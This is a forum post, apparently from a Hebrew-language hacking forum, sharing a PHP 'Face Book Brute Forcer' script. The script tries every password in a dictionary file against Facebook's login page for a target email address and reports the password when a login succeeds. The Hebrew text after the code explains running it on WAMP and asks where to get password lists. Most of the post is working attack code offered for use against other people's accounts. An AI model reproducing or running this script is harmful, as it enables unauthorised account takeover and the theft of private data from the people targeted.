קוד PHP:
?
################################
# Face Book Brute Forcer
# Copyright@2009 by ac007
################################
function setData($email,$pass)
{
global $vars;
$vars***91;"charset_test"***93;=urldecode("%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84");
$vars***91;"return_session"***93;=0;
$vars***91;"email"***93;=$email;
$vars***91;"pass"***93;=trim($pass);
$vars***91;"persistent"***93;=1;
$vars***91;"charset_test"***93;=urldecode("%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84");
$vars***91;"login"***93;="Login";
$data="";
foreach($vars as $key=>$value)
{
$data.=$key."=".urlencode($value)."&";
}
return $data;
}
set_time_limit(0);
ini_set('output_buffering',true);
$dictionary =dirname(__FILE__)."\wordlist\mil-dic.txt"; // need dictionary to password list
function CheckItOut($email,$pass)
{
$ret=false;
$useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
$data = setData($email,$pass);
$ch = curl_init('https://login.facebook.com/login.php?login_attempt=1');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_ENCODING , "gzip,deflate");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt');
$source=curl_exec($ch);
$info=curl_getinfo($ch);
if($info***91;"redirect_count"***93;==1)
{
$ret=true;
}
return $ret;
}
echo "<form action=\"brute.php\" method=\"post\"><table align=\"center\">
<tr><td colspan=2>Entry Email Address below to Bruteforce...</td>
</tr>
<tr><td>Email Address:</td>
<td><input type=text name=\"username\" value=\"\"></td></tr>
<tr><td>Click the Submit Button to Start..</td>
<td><input type=\"submit\" value=\"Submit\"></td></tr>
</table>";
if(isset($_POST***91;'username'***93;))
{
$username =$_POST***91;'username'***93;;
if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
$lines=file($dictionary);
echo "Attack Starting..</br></br>";
sleep(3);
echo "Attack Started, brute forcing.. </br> ";
foreach($lines as $line)
{
$line=str_replace("r","",$line);
$line=str_replace("n","",$line);
if(CheckItOut($username,$line))
{
echo "***91;+***93; username:$username , password:$line - Password found : $line</br>";
$fp=fopen('cookie.txt','w');
fwrite($fp,'successfully pass:'.$line);
exit;
}else{
echo "***91;-***93; username:$username , password:$line - Password not found :$line</br>";
}
/**
* Print the result direct onto the browser screen...
*/
ob_flush();
flush();
}
}
?>
איך אתה מריץ תקוד? תוריד WAMP יש אלפי מדריכים בגוגל איך להתקין ,ולהפעיל את התוכנה.
מאיפה אני משיג רשימת סיסמאות?
מה אני עושה בזה? מריץ את זה על הWAMP
עוד משהו או שאפשר לנעול?